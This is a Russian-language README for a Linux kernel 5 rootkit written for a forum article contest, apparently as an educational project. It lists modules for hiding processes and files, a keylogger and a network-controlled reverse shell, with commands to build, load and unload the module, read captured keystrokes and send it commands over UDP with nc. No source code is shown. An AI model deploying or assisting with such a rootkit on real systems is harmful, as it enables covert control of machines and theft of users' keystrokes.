Пример руткита для ядра линукс 5
Проект для конкурсной статьи: https://xss.is/threads/43479/
Прочитать статью можно также на мём форуме:https://ru-sfera.org/threads/izuchaem-rutkity-na-primere-rutkita-dlja-linux-kernel-5.4144/
Описание проекта руткита и запуск/тестирование:
Проект состоит из следующих модулей:
- main.c – Основной модуль, где основные функции инициализации и выгрузки драйвера.
- proc_hide.c – Модуль скрытия процесса по имени.
- file_hide.c – Модуль скрытия файлов.
- reverse_shell.c – Модуль управлением руткитом по сети.
- keylogger.c – Модуль кейлоггера.
- file_operation.c – Модуль создания и регистрации устройства в /dev и возможности взаимодействия с руткитом, как с файлом.
- example_config.h – Настройки руткита.
Сборка модуля:
make clean
make
ВАЖНО: Делал драйвер именно под версию ядра 5 и выше, не учитывал особенности в ста-рых версиях ядра, оно будет работать, но т.к. в ядре постоянно меняют структуры, может не собраться, нужно просто посмотреть в исходниках ядра какие структуры поменялись.
Запуск модуля:
sudo insmod rookit.ko
Остановка модуля:
sudo rmmod rookit.ko
Вывод логов кейлоггера:
cat /dev/rootkit
Вывод отладочной информации драйвера:
dmesg -c | tail -n60 | grep +
Управление руткитом по сети (Пример):
echo "Command" | nc -u 127.0.0.1 1328